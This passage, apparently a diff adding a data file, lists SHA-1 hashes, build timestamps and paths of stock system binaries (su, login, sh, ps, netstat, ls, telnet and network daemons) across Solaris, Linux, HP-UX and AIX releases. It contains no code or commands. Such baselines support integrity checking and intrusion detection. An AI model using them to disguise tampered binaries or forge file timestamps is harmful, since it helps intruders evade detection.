2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_141444-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_141444-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_141444-09] +5F2DB0D3FA53401170294FE789E691837B1F91A9 Wed Dec 10 02:44:42 2008 /usr/sbin/in.ftpd [Solaris 2.10 Generic_141444-09] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /bin/su [Solaris 2.10 Generic_141444-09] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /usr/bin/su [Solaris 2.10 Generic_141444-09] +DBD3B09482A1243D0CE4613581041AAF1A59C093 Sat Jun 27 03:20:42 2009 /sbin/sh [Solaris 2.10 Generic_141444-09] +0D68B0A5A47E123AAC83F2F52A831290137BE5B8 Mon Aug 17 21:58:27 2009 /usr/bin/sparcv9/w [Solaris 2.10 Generic_141444-09] +DBD3B09482A1243D0CE4613581041AAF1A59C093 Sat Jun 27 03:20:42 2009 /bin/sh [Solaris 2.10 Generic_141444-09] +DBD3B09482A1243D0CE4613581041AAF1A59C093 Sat Jun 27 03:20:42 2009 /usr/bin/sh [Solaris 2.10 Generic_141444-09] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_141444-09] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /sbin/su [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_141444-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_141444-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_141444-09] + +B5DCD7DB3E992DEA636AA096FDC6FF9AD3B1C65D Fri Feb 27 10:20:25 2004 /usr/bin/find [CentOS 3.5] +746A00DAD1FD5C7214180E88A64DFD22B986CFED Wed Mar 17 00:15:26 2004 /bin/su [CentOS 3.5] +55D0D5F0950CCC25975FD7855AD83DAEA556DADD Wed Mar 17 00:15:37 2004 /bin/rm [CentOS 3.5] +D918905A06D42629658FB05AFD59510EA62BF2F3 Wed Mar 17 00:15:37 2004 /bin/ls [CentOS 3.5] +0D1FB3E32AF6B1EA6367F52C1B4779907E55CA6B Thu Sep 9 09:17:05 2004 /usr/sbin/xinetd [CentOS 3.5] +9486D2ECBC7AA6E5D2E351D4C0373846E01E6990 Sat Dec 11 01:30:43 2004 /sbin/modinfo [CentOS 3.5] +7E20BA54A9528FEAEE355379E28A654798C27660 Tue Mar 29 07:26:56 2005 /usr/bin/telnet [CentOS 3.5] +AC0B1B2B68951695BBD1CCAB92FB4384C90468B8 Wed Apr 13 04:44:24 2005 /sbin/arp [CentOS 3.5] +AA17939CC4F77A6F3C8DA4C046F0E746DE9E1426 Wed Apr 13 04:44:24 2005 /bin/netstat [CentOS 3.5] +33B77711E46D914F4D63D1CD82FD38AE91D43C92 Wed Apr 13 10:06:54 2005 /bin/login [CentOS 3.5] +8D40D633EF54689A0BEDA5F76B0643D16F62831B Wed May 25 01:25:40 2005 /usr/bin/w [CentOS 3.5] +07092BF363D70F81122058BDC4D87A6971BB0FC0 Wed May 25 01:25:40 2005 /bin/ps [CentOS 3.5] +184227CEF0778C65C3BE73B53DAEB04283E81789 Wed Apr 13 11:11:21 2005 /bin/sh [CentOS 3.5] + +CBBED84639A2D7A19595CD8E48E6D32CB59B978F Fri Jan 24 23:53:44 2003 /usr/bin/find [RedHat 9.0] +9B2D6E79A7F32A86A59E87841A6BEF575240DCC7 Wed Jan 29 10:55:50 2003 /usr/bin/telnet [RedHat 9.0] +7EBB4F221BD51C7448A8182FD8973E6FCDCC8185 Tue Feb 11 14:33:31 2003 /sbin/arp [RedHat 9.0] +1C9D990216D0D988E66DEDA77AD311CB83970F8D Tue Feb 11 14:33:31 2003 /bin/netstat [RedHat 9.0] +BF0C09BD712BA06D5FA5CC939220F960497B17EB Tue Feb 11 22:08:22 2003 /sbin/modinfo [RedHat 9.0] +3D3713894CCB027A467BCE35D8D4727562BE7930 Tue Feb 18 17:19:48 2003 /bin/su [RedHat 9.0] +6579E5BFF800A3BA03E8B2352D345E1A01FA6D9E Tue Feb 18 17:19:55 2003 /bin/rm [RedHat 9.0] +45929C03A7C84687A73543CC348484EDC3829496 Tue Feb 18 17:19:55 2003 /bin/ls [RedHat 9.0] +42BD4C916081976D6053E0252189F42275689622 Thu Feb 20 11:53:56 2003 /usr/bin/w [RedHat 9.0] +123CBCE23DBB61CD61F13390178B0A2FBCD190CE Thu Feb 20 11:53:56 2003 /bin/ps [RedHat 9.0] +840849BB17DE89B19FE968AE4700F570240ED0E5 Tue Feb 25 00:10:43 2003 /usr/sbin/xinetd [RedHat 9.0] +99D3A63CEEB1FC440641DB21E76DD146864EF948 Tue Feb 25 00:11:43 2003 /bin/login [RedHat 9.0] +A93F8ED65E2EBDA13F62F7611392C4A93BAC17D0 Tue Feb 11 13:34:45 2003 /bin/sh [RedHat 9.0] + +1892268BF195AC118076B1B0F53E7A637EB6FBB3 Wed Dec 16 19:34:41 2009 /bin/ps [Ubuntu 10.04] +42E7E875E2C6D9B8787388E76185DD306870E5D6 Tue Jan 12 13:03:58 2010 /usr/sbin/update-inetd [Ubuntu 10.04] +1AC8D28E4A0620AF622DC40DAFA066AAA7995B6C Tue Jan 26 17:09:45 2010 /bin/su [Ubuntu 10.04] +D2B0A66038C61A400786EC385142350B147D8782 Tue Jan 26 17:09:45 2010 /bin/login [Ubuntu 10.04] +E955401C45CBB9B948FB20CBA26543A0EDD07FB7 Fri Feb 12 00:38:27 2010 /bin/netstat [Ubuntu 10.04] +2386D6756EC85F7B7366F266ABD692323DC624AD Fri Feb 12 00:38:27 2010 /usr/sbin/arp [Ubuntu 10.04] +A1B43A43A2BF5F603E96D42F4E4400C0EFAD500A Fri Mar 5 03:29:52 2010 /bin/ls [Ubuntu 10.04] +572ACAD1E46523FEEB43663A580009DEB697F473 Fri Mar 5 03:29:52 2010 /bin/rm [Ubuntu 10.04] +61457472378DB0FC2B45A1AB0FBEF2FA14B99681 Tue Mar 9 13:22:56 2010 /usr/bin/find [Ubuntu 10.04] +534DEB8CAD2E5A8876D0B53A4EAB408A106DE447 Wed Apr 14 04:26:37 2010 /sbin/modinfo [Ubuntu 10.04] +E54C58E3A7119FF2F42E0415C10D9EE9A580CE3A Wed Dec 16 19:34:41 2009 /usr/bin/w [Ubuntu 10.04] +80018AD5DC87488C52033D95CBCBB740A8BC89B7 Thu Apr 1 19:22:56 2010 /bin/sh [Ubuntu 10.04] +3C512821B02D8C052982AF59A09477E50C106425 Sun Mar 7 03:23:02 2010 /usr/bin/telnet [Ubuntu 10.04] + +B8D60651D2C5154E5EE63978B4DBF5E0FCB8377C Wed Dec 16 19:34:43 2009 /bin/ps [Ubuntu 10.04 x86_64] +42E7E875E2C6D9B8787388E76185DD306870E5D6 Tue Jan 12 13:03:58 2010 /usr/sbin/update-inetd [Ubuntu 10.04 x86_64] +EDCF8B833CA55C0C5C153882E63AB6CEC1800BCA Tue Jan 26 17:09:07 2010 /bin/su [Ubuntu 10.04 x86_64] +35E2EFB21B3C21960B0EE3FCFEE8D153792E346F Tue Jan 26 17:09:07 2010 /bin/login [Ubuntu 10.04 x86_64] +05173162F138EE32C21047A04A918701F786A7F0 Fri Feb 12 01:15:25 2010 /usr/sbin/arp [Ubuntu 10.04 x86_64] +30CBED61DC258DC8787AF3FF2CCEAF3FB14B6B56 Fri Feb 12 01:15:25 2010 /bin/netstat [Ubuntu 10.04 x86_64] +E42198E1D30D68030C75DEAAC512BE50193139DC Fri Mar 5 03:41:17 2010 /bin/rm [Ubuntu 10.04 x86_64] +8B4BB8CE7F93984B1EBF9CE7A2708893D63FD8E9 Tue Sep 21 18:32:55 2010 /bin/rm [Ubuntu 10.04 x86_64] +9DF05263EEE6CA2F696B6B1A92D54CD99FB07BA2 Fri Mar 5 03:41:16 2010 /bin/ls [Ubuntu 10.04 x86_64] +800F2BC3209A557587996E08D6A4117DEACC25BC Tue Sep 21 18:32:55 2010 /bin/ls [Ubuntu 10.04 x86_64] +9E69CF4621EBF4368277315B17497937EED68EE5 Tue Mar 9 13:23:11 2010 /usr/bin/find [Ubuntu 10.04 x86_64] +372ECEAAE6EEED7740A620B136D8A5E8CBA168DB Wed Apr 14 04:36:51 2010 /sbin/modinfo [Ubuntu 10.04 x86_64] +DD9E1469EE3CE4DE13E85988F94D2EB75DBA2221 Thu Apr 1 23:29:39 2010 /bin/sh [Ubuntu 10.04 x86_64] +61BC44AC912AB1236EA5F55B63EFD143727A1DCF Wed Dec 16 19:34:43 2009 /usr/bin/w [Ubuntu 10.04 x86_64] +363B18EEECF34CCF38EB0207504A3FA41E5B2719 Sun Mar 7 04:16:54 2010 /usr/bin/telnet [Ubuntu 10.04 x86_64] + +31547D7FD8D683417A1F57BC9818EB84ADA3838E Fri Mar 26 08:00:00 2004 /bin/su [HP-UX B.11.23 ia64] +B17762B095C38AC2D40A3ECF85CFB8FF3B584137 Fri Aug 27 01:35:04 2004 /usr/sbin/fuser [HP-UX B.11.23 ia64] +31547D7FD8D683417A1F57BC9818EB84ADA3838E Fri Mar 26 08:00:00 2004 /usr/bin/su [HP-UX B.11.23 ia64] +DB6921E1300EBFA8B51CF1F2ACE3504578018BEC Fri Mar 26 08:00:00 2004 /sbin/ls [HP-UX B.11.23 ia64] +E5824D00EC5CEA3D2DAF91F23840FB08520D18D6 Fri Mar 26 08:00:00 2004 /bin/w [HP-UX B.11.23 ia64] +E5824D00EC5CEA3D2DAF91F23840FB08520D18D6 Fri Mar 26 08:00:00 2004 /usr/bin/w [HP-UX B.11.23 ia64] +AB41E3DF4086E9C97D1CE186C074901C3DE25390 Fri Aug 27 01:25:13 2004 /bin/telnet [HP-UX B.11.23 ia64] +AB41E3DF4086E9C97D1CE186C074901C3DE25390 Fri Aug 27 01:25:13 2004 /usr/bin/telnet [HP-UX B.11.23 ia64] +3D7E90B682BDF2CD7B2D98F3DD4F86F406AEFF30 Fri Aug 27 01:27:10 2004 /bin/login [HP-UX B.11.23 ia64] +3D7E90B682BDF2CD7B2D98F3DD4F86F406AEFF30 Fri Aug 27 01:27:10 2004 /usr/bin/login [HP-UX B.11.23 ia64] +839B67DD090B4872B5E07CA73C9B90E3E9138959 Fri Aug 27 01:29:05 2004 /bin/find [HP-UX B.11.23 ia64] +839B67DD090B4872B5E07CA73C9B90E3E9138959 Fri Aug 27 01:29:05 2004 /usr/bin/find [HP-UX B.11.23 ia64] +E3AE02A3E96D4BDCC0FB33CC0913B77156694EAD Fri Aug 27 01:31:16 2004 /usr/sbin/inetd [HP-UX B.11.23 ia64] +996F8F15EAE7C11FACB53C7D3FEC405FC870B47A Fri Aug 27 01:31:47 2004 /bin/rm [HP-UX B.11.23 ia64] +996F8F15EAE7C11FACB53C7D3FEC405FC870B47A Fri Aug 27 01:31:47 2004 /usr/bin/rm [HP-UX B.11.23 ia64] +F8F094AE7A1E236B29B5E099DDB6B011302D4AFF Fri Aug 27 01:31:47 2004 /sbin/rm [HP-UX B.11.23 ia64] +ED2620FF57BABFD7D7F0E3D5A20121CB3C7C854F Fri Aug 27 01:36:38 2004 /sbin/sh [HP-UX B.11.23 ia64] +5B9A7BC4A71FC357B7C5A466AC6E01FEE98B7212 Fri Aug 27 01:36:39 2004 /bin/sh [HP-UX B.11.23 ia64] +5B9A7BC4A71FC357B7C5A466AC6E01FEE98B7212 Fri Aug 27 01:36:39 2004 /usr/bin/sh [HP-UX B.11.23 ia64] +E4BD2596A1F2F0DA734B03F01A0C585925D38866 Fri Aug 27 01:46:30 2004 /usr/sbin/arp [HP-UX B.11.23 ia64] +89B74E3BBF8EF56D6F20288E3E06E67F416CF2D8 Fri Aug 27 01:46:13 2004 /bin/netstat [HP-UX B.11.23 ia64] +89B74E3BBF8EF56D6F20288E3E06E67F416CF2D8 Fri Aug 27 01:46:13 2004 /usr/bin/netstat [HP-UX B.11.23 ia64] +498934AB3B56783B68898FC432F782BE07E87F81 Fri Aug 27 01:47:16 2004 /bin/ls [HP-UX B.11.23 ia64] +498934AB3B56783B68898FC432F782BE07E87F81 Fri Aug 27 01:47:16 2004 /usr/bin/ls [HP-UX B.11.23 ia64] +C650DE39F1BA81E0B0DC3A2108001F8F23706695 Fri Aug 27 01:51:44 2004 /bin/ps [HP-UX B.11.23 ia64] +C650DE39F1BA81E0B0DC3A2108001F8F23706695 Fri Aug 27 01:51:44 2004 /usr/bin/ps [HP-UX B.11.23 ia64] +392FBBE7DD19B73638977701C8F8D0D46256325C Thu Nov 17 12:48:07 2005 /usr/sbin/proftpd [HP-UX B.11.23 ia64] +392FBBE7DD19B73638977701C8F8D0D46256325C Thu Nov 17 12:48:07 2005 /usr/sbin/in.proftpd [HP-UX B.11.23 ia64] +8912A367460655B0BE5B88E88C1F71ED1176ACB1 Thu May 18 05:22:05 2006 /usr/sbin/xinetd [HP-UX B.11.23 ia64] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 9.1] +E332FAD818EF01F79555EEFE4047ED1B2C99DECD Mon Jun 23 23:40:36 2003 /bin/su [Slackware 9.1] +A7BA13F1D82EB9878D7C1401B058A7565496FAE0 Mon Jun 23 23:40:36 2003 /bin/login [Slackware 9.1] +995E5569280ED83DB415FE3D7CE4B6A5D7D97C9E Fri Sep 12 03:29:46 2003 /usr/sbin/inetd [Slackware 9.1] +7D31AD696532F2FD933CDF64C11904B4346BBCEC Thu Sep 18 18:27:03 2003 /bin/rm [Slackware 9.1] +D5886038BA2BCBB2BA325BE61E271DB5C80A5537 Thu Sep 18 18:27:03 2003 /bin/ls [Slackware 9.1] +E10580D1C7CE71931F133E90781DCC2FBC5D02FC Mon Sep 22 03:52:44 2003 /usr/bin/w [Slackware 9.1] +E4EB2ED5A749EE85AEBD4BB04D5579A1724A8A29 Mon Sep 22 03:52:44 2003 /bin/ps [Slackware 9.1] +4E96BFBE6BD3D54573C8E0B968740AC5838934A7 Tue Sep 23 19:10:59 2003 /usr/sbin/proftpd [Slackware 9.1] +AA1BCA06605D9FB1E1CB4A3A637E42AF1E3D08DC Wed Sep 24 23:52:49 2003 /sbin/modinfo [Slackware 9.1] +FD3F51DF3AA1F1A2A5E43A59F06B53E2847EB1C2 Thu Sep 25 01:09:38 2003 /usr/sbin/in.rshd [Slackware 9.1] +A164362ABD9CD96036A0A83B0FB5DB00DACD8CF9 Thu Sep 25 01:09:38 2003 /usr/sbin/in.rlogind [Slackware 9.1] +CD1D2D79ED77B6059D6DC87609AB62586B495E09 Thu Sep 25 01:09:44 2003 /usr/sbin/in.telnetd [Slackware 9.1] +D866F732DF5879D3A8B938A73CF6A993AFEF2D6C Thu Sep 25 01:09:53 2003 /usr/sbin/in.tftpd [Slackware 9.1] +017D204F164C85CD55EF2E6BE793B4905DC7381B Thu Sep 25 01:09:26 2003 /sbin/arp [Slackware 9.1] +8034FB66B8BED2F369EE9419AF74B9D0856A0B10 Thu Sep 25 01:09:44 2003 /bin/telnet [Slackware 9.1] +A099EE6B6B30EBAF7EE22474E45553C11C2B7B75 Thu Sep 25 01:09:26 2003 /bin/netstat [Slackware 9.1] +D2AF07625565FA525394BD3A668EDADAC5E1C07D Mon Jun 23 23:15:47 2003 /bin/sh [Slackware 9.1] +D5886038BA2BCBB2BA325BE61E271DB5C80A5537 Thu Sep 18 18:27:03 2003 /usr/bin/ls [Slackware 9.1] +7D31AD696532F2FD933CDF64C11904B4346BBCEC Thu Sep 18 18:27:03 2003 /usr/bin/rm [Slackware 9.1] +E4EB2ED5A749EE85AEBD4BB04D5579A1724A8A29 Mon Sep 22 03:52:44 2003 /usr/bin/ps [Slackware 9.1] +4E96BFBE6BD3D54573C8E0B968740AC5838934A7 Tue Sep 23 19:10:59 2003 /usr/sbin/in.proftpd [Slackware 9.1] + +01090DF56E8BB6958F549016B0162F83F2DBEC5A Fri Jun 16 13:58:52 2006 /usr/bin/telnet [SuSE Enterprise 10.1 x86_64] +C2A56DBC77E2366D4CA8B4253631D6087FE674B8 Fri Jun 16 14:16:11 2006 /usr/sbin/xinetd [SuSE Enterprise 10.1 x86_64] +2DF0378E19ADD530EA0EC2C63C595B3E8F74DE56 Fri Jun 16 14:27:12 2006 /usr/bin/opieftpd [SuSE Enterprise 10.1 x86_64] +7562669FC11732D72145F2AA07F9BC8D00786334 Fri Jun 16 14:34:13 2006 /sbin/arp [SuSE Enterprise 10.1 x86_64] +8209995613567B78CA0CE055BB1488281D1A861C Fri Jun 16 14:34:12 2006 /bin/netstat [SuSE Enterprise 10.1 x86_64] +3082CE6C4372E3E7A8F26865B8135A9CB1D95291 Fri Aug 25 16:19:59 2006 /usr/bin/w [SuSE Enterprise 10.1 x86_64] +CC0F47F813613E0AB045932D9E89B0C6774C1A41 Fri Aug 25 16:19:59 2006 /bin/ps [SuSE Enterprise 10.1 x86_64] +62AF6B7B75496F28C4A775467C4B40BE88DE0EFE Thu May 3 13:27:33 2007 /sbin/modinfo [SuSE Enterprise 10.1 x86_64] +B9919ED9D91FE984427EBE3A3E486EDC12A53AC4 Thu May 3 13:29:16 2007 /usr/bin/find [SuSE Enterprise 10.1 x86_64] +95C267A3512BC1333A0B8485F0938B7F0501B90D Thu May 3 13:49:07 2007 /bin/su [SuSE Enterprise 10.1 x86_64] +8F4CD4DD7FA974717AEEFBBD59772D130736CC0E Thu May 3 13:49:07 2007 /bin/rm [SuSE Enterprise 10.1 x86_64] +6D358E53B7C790F9C5613A60A6E70BE8FA8E14BA Thu May 3 13:49:07 2007 /bin/ls [SuSE Enterprise 10.1 x86_64] +0288110135C5AF73FE2E76F88E70930D3AC6A415 Fri May 4 11:28:33 2007 /bin/login [SuSE Enterprise 10.1 x86_64] +76CFAFC72CF825AD7CA9332C5EE4E5D94EDF239D Thu May 3 13:27:22 2007 /bin/sh [SuSE Enterprise 10.1 x86_64] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 14:16:11 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.1 x86_64] + +D0F84B7A9C6A3152DCDE152169FAAF4C8F569485 Tue Nov 23 06:33:11 2004 /bin/w [AIX 5.2] +D0F84B7A9C6A3152DCDE152169FAAF4C8F569485 Tue Nov 23 06:33:11 2004 /usr/bin/w [AIX 5.2] +977439CF9BCF728CBFA96F873C65E45570E4EBA8 Tue Nov 23 14:28:38 2004 /usr/sbin/arp [AIX 5.2] +4B2512805298D3246070C7DF013619211C937B3F Wed Apr 27 20:29:35 2005 /usr/sbin/netstat [AIX 5.2] +73831BCCBBBF09F210D109B522303A4162612A75 Wed May 18 04:22:49 2005 /bin/su [AIX 5.2] +73831BCCBBBF09F210D109B522303A4162612A75 Wed May 18 04:22:49 2005 /usr/bin/su [AIX 5.2] +584BD11E83A0938B5D334F7425D169B93820AC1D Sun May 22 22:57:33 2005 /bin/rm [AIX 5.2] +584BD11E83A0938B5D334F7425D169B93820AC1D Sun May 22 22:57:33 2005 /usr/bin/rm [AIX 5.2] +93B78CF800275598FA205D606E83BE7E18D390E8 Tue Jun 28 22:38:59 2005 /bin/ls [AIX 5.2] +93B78CF800275598FA205D606E83BE7E18D390E8 Tue Jun 28 22:38:59 2005 /usr/bin/ls [AIX 5.2] +CCAF4D0CFEFB201A5F410FF7413A2A94449EBCF6 Tue Jun 28 22:38:38 2005 /bin/sh [AIX 5.2] +CCAF4D0CFEFB201A5F410FF7413A2A94449EBCF6 Tue Jun 28 22:38:38 2005 /usr/bin/sh [AIX 5.2] +FC2C0DD78E0571947831E78A073AE1568434F121 Sat Jul 9 12:50:44 2005 /bin/telnet [AIX 5.2] +FC2C0DD78E0571947831E78A073AE1568434F121 Sat Jul 9 12:50:44 2005 /usr/bin/telnet [AIX 5.2] +7DC2254A33B3E0CBEEC1523B1437FA5E63129DB6 Sat Jul 9 12:52:14 2005 /usr/sbin/rshd [AIX 5.2] +8970C451394C89BCDC11F5592BA33CBA4DE49B88 Sat Jul 9 12:52:11 2005 /usr/sbin/rlogind [AIX 5.2] +8A81A2A07B2CDD1818AB78860E285BA8E018D4BF Sat Jul 9 12:52:15 2005 /usr/sbin/krshd [AIX 5.2] +96B96118D94BEE2B2C4F1DC122387DFEEFB39E44 Sat Jul 9 12:52:14 2005 /usr/sbin/krlogind [AIX 5.2] +011291A365F97A5011DA694AB2C2572D30AB3A39 Sat Jul 9 12:52:13 2005 /usr/sbin/tftpd [AIX 5.2] +61E9D702793B7D8CFCC2D1C7C88703DD5A7EA2F8 Sat Jul 9 13:17:53 2005 /usr/sbin/inetd [AIX 5.2] +7B1D011A23362A69B1190FD2DE99C66BD2D4C1DA Sun Jul 10 15:19:02 2005 /bin/find [AIX 5.2] +7B1D011A23362A69B1190FD2DE99C66BD2D4C1DA Sun Jul 10 15:19:02 2005 /usr/bin/find [AIX 5.2] +92009667AF6BE103BB09EE2097E84011DE42C6EF Sat Jul 16 17:54:10 2005 /usr/sbin/login [AIX 5.2] +1B2C1532E5950A42D365D4194EEFED40C7E20F9B Wed Jul 20 17:57:10 2005 /bin/ps [AIX 5.2] +1B2C1532E5950A42D365D4194EEFED40C7E20F9B Wed Jul 20 17:57:10 2005 /usr/bin/ps [AIX 5.2] +9DC8761D53E2C011EBC235AB04264E1255CE262D Thu Jul 21 08:51:33 2005 /usr/sbin/telnetd [AIX 5.2] +D0773DE31934488087CDB18E02314AE66B338871 Thu Jul 21 08:51:26 2005 /usr/sbin/ftpd [AIX 5.2] +92009667AF6BE103BB09EE2097E84011DE42C6EF Sat Jul 16 17:54:10 2005 /bin/login [AIX 5.2] +92009667AF6BE103BB09EE2097E84011DE42C6EF Sat Jul 16 17:54:10 2005 /usr/bin/login [AIX 5.2] +4B2512805298D3246070C7DF013619211C937B3F Wed Apr 27 20:29:35 2005 /bin/netstat [AIX 5.2] +4B2512805298D3246070C7DF013619211C937B3F Wed Apr 27 20:29:35 2005 /usr/bin/netstat [AIX 5.2] + +7BEC0E63D125B7C1D4F219E871D173856C047CCD Wed Nov 25 12:07:23 2009 /sbin/modinfo [Fedora 13] +8B6F605633F95038D7A9F69DBFB49B863E148A8E Thu Nov 26 17:56:03 2009 /bin/find [Fedora 13] +4CB8E849510242FF85542E77986D392714BF5161 Fri Nov 27 12:05:36 2009 /usr/bin/telnet [Fedora 13] +94DB730A14168FFD9782B0D493E3B4E3BE2A3DCC Mon Feb 8 14:48:05 2010 /usr/bin/w [Fedora 13] +8B46D23956871150AEF860AFBDE03D592D5F11C0 Mon Feb 8 14:48:06 2010 /bin/ps [Fedora 13] +907093377EA0ED8203E23DA64E89AFD1BABA7149 Wed Apr 7 11:51:59 2010 /sbin/arp [Fedora 13] +16D8B1D22DC79F0A2671E083C82E2A93C66E0EE9 Wed Apr 7 11:52:00 2010 /bin/netstat [Fedora 13] +E3064EF0F08F5ECED501125B9DF917025FF73CC3 Mon Apr 12 13:24:46 2010 /bin/login [Fedora 13] +10FD4E39D7767D94F64F300704DF56BB70055D4A Wed Apr 28 14:51:09 2010 /bin/su [Fedora 13] +8B7CD918C69E2AD105B220E2C7999C38943BEFFB Wed Apr 28 14:51:08 2010 /bin/rm [Fedora 13] +E07C7870F4178E863595357F1FB5FB5AF943082B Wed Apr 28 14:51:08 2010 /bin/ls [Fedora 13] +D1AD6A75FCC2ED94C0CB141D82C1AC512C1A719D Wed Mar 31 12:14:39 2010 /bin/sh [Fedora 13] +8B6F605633F95038D7A9F69DBFB49B863E148A8E Thu Nov 26 17:56:03 2009 /usr/bin/find [Fedora 13] + +BAC0C820AF03B2297FA1CD831A2E3E4AA9BAEEA9 Fri Sep 9 16:05:05 2005 /usr/bin/telnet [SuSE 10.0] +B19E1F768FF6D72ED6D4F6C83E72FBFBAAE48542 Fri Sep 9 16:06:13 2005 /usr/bin/w [SuSE 10.0] +97A03902F03255149F72843B8CB8728211603B86 Fri Sep 9 16:06:13 2005 /bin/ps [SuSE 10.0] +D862389407F446A62B661E179EA0CA3A6DCDD57C Fri Sep 9 16:09:42 2005 /sbin/arp [SuSE 10.0] +9462A4B88B54DD6C919F9B22DF5A1F0DAF8BABE2 Fri Sep 9 16:09:42 2005 /bin/netstat [SuSE 10.0] +3095828C156D3E413A29B904DC3925832A7616B8 Fri Sep 9 16:26:38 2005 /usr/bin/find [SuSE 10.0] +FE514F6422F2F58E7B8485E960DC5464692DCD8D Fri Sep 9 18:29:29 2005 /bin/login [SuSE 10.0] +1A1F9C65E1149A13D3B436C63644952860AE0106 Sat Sep 10 05:56:47 2005 /bin/su [SuSE 10.0] +C0D1B3A96E8A6D06C7B11DFA7AF0975E3809D0D3 Sat Sep 10 05:56:47 2005 /bin/rm [SuSE 10.0] +DD3E0D20CE4DBC61B0C8CA0B60C2FBC3A1E28092 Sat Sep 10 05:56:47 2005 /bin/ls [SuSE 10.0] +EF3980A6054DCE416991D0E314949FA23FB297E1 Tue Sep 13 12:34:37 2005 /sbin/modinfo [SuSE 10.0] +E8594E3CDFA0FC9CE23FD5BAE524A2EF94211646 Fri Sep 9 16:12:09 2005 /bin/sh [SuSE 10.0] + +1B2ED7FF0B0918E97CAD169FA99DA590BB7DA7AE Thu Jul 13 16:07:56 2006 /usr/bin/find [RedHat Enterprise 5.1 x86_64] +EB00426B404DA0F5BB7775EEFB5F97823DA16541 Mon Aug 7 11:18:26 2006 /sbin/arp [RedHat Enterprise 5.1 x86_64] +391FA1069688D2DC83552A9DDF852A831E262620 Mon Aug 7 11:18:26 2006 /bin/netstat [RedHat Enterprise 5.1 x86_64] +054A6ADFE0E9B813273F20266688AFA3227B5D81 Wed Nov 8 13:48:22 2006 /usr/bin/telnet [RedHat Enterprise 5.1 x86_64] +CF11CA9807762DDC007B428004E38AD4D5E7A3E2 Mon Nov 27 16:47:11 2006 /bin/su [RedHat Enterprise 5.1 x86_64] +42EC43C53AFA44D49968BBF2D8D564BE3573CF75 Mon Nov 27 16:47:19 2006 /bin/rm [RedHat Enterprise 5.1 x86_64] +8B52E32532CC193E9BF90550C944854FF9F29DCB Mon Nov 27 16:47:19 2006 /bin/ls [RedHat Enterprise 5.1 x86_64] +C35B3476EC21A66C61A00A260A17EB96FAEA9F1D Tue Nov 28 14:06:40 2006 /usr/bin/w [RedHat Enterprise 5.1 x86_64] +E8F827861E1E5F8B6B86B17D15E5205A49E04F5F Tue Nov 28 14:06:40 2006 /bin/ps [RedHat Enterprise 5.1 x86_64] +45EC7C9583EB0A31BCE35F3532A9C3402D9F8DD7 Mon Jun 25 09:43:04 2007 /bin/login [RedHat Enterprise 5.1 x86_64] +9307FC84799314643A9641CC0103D183BEB1BC01 Wed Sep 5 16:57:53 2007 /sbin/modinfo [RedHat Enterprise 5.1 x86_64] +21BFF86E78A7194A1DD8BB0E76DAF8FF567512CB Wed Jul 12 07:11:42 2006 /bin/sh [RedHat Enterprise 5.1 x86_64] + +DDBB3DD96C0E88020E93C8BFF567344DEEE77031 Fri Feb 20 22:16:08 2009 /bin/login [SuSE 11.0] +9AB58B5EB47D96685221AB9539808F6A0F8A2D40 Fri Feb 20 22:17:04 2009 /usr/bin/opieftpd [SuSE 11.0] +9068239E54884404F46C877AB92B4D5843210666 Fri Feb 20 22:20:54 2009 /bin/su [SuSE 11.0] +67B56F64FA16DBD5F9F445D221A2FBD319D83B76 Fri Feb 20 22:20:54 2009 /bin/rm [SuSE 11.0] +5128FB035ADB221CBEC0C12E1D48D8668E2B90E5 Fri Feb 20 22:20:52 2009 /bin/ls [SuSE 11.0] +85EDBB5841C6C5A6CDF934470063908F775B45DF Sat Feb 21 02:40:16 2009 /usr/bin/telnet [SuSE 11.0] +7564AA8DCF3B56658E73AE35C6E64CE65A4004B3 Sat Feb 21 02:41:04 2009 /usr/bin/w [SuSE 11.0] +C808AB1DCD4DB1B4F1DC462895E4BD31AFCD7CF1 Sat Feb 21 02:41:04 2009 /bin/ps [SuSE 11.0] +935753EFEFB1F4E48F01CF15078CF6B703F28534 Sat Feb 21 02:41:46 2009 /sbin/arp [SuSE 11.0] +A94EE0DFA4A9A5259124855B52FB253881BCC61A Sat Feb 21 02:41:46 2009 /bin/netstat [SuSE 11.0] +2F34FAA1C709F9048E516B9FFF84D8942E3DEC6B Sat Feb 21 02:49:33 2009 /sbin/modinfo [SuSE 11.0] +C19A43CB435E1FAB0C5BF027AC1932B59873372F Sat Feb 21 02:54:52 2009 /usr/bin/find [SuSE 11.0] +01992E8395877997B0E705BBAC749B022DE0C677 Sat Feb 21 05:33:50 2009 /usr/sbin/in.tftpd [SuSE 11.0] +F4EA40A59608F0A22E7BDEFE72A6F9637616F13D Sat Feb 21 05:35:04 2009 /usr/sbin/xinetd [SuSE 11.0] +B638B780F67D7BB1B77CD52A1E6C76D867398364 Mon Feb 23 21:06:12 2009 /usr/sbin/pure-ftpd [SuSE 11.0] +0E458542F392D4102B5FC59005B2168DB90BA462 Sat Feb 21 03:04:45 2009 /bin/sh [SuSE 11.0] +0E458542F392D4102B5FC59005B2168DB90BA462 Sat Feb 21 03:04:45 2009 /usr/bin/sh [SuSE 11.0] +F67A7231F392B95451E9554DCD12A8DC90BC9823 Mon Feb 23 21:06:11 2009 /usr/sbin/rcpure-ftpd [SuSE 11.0] 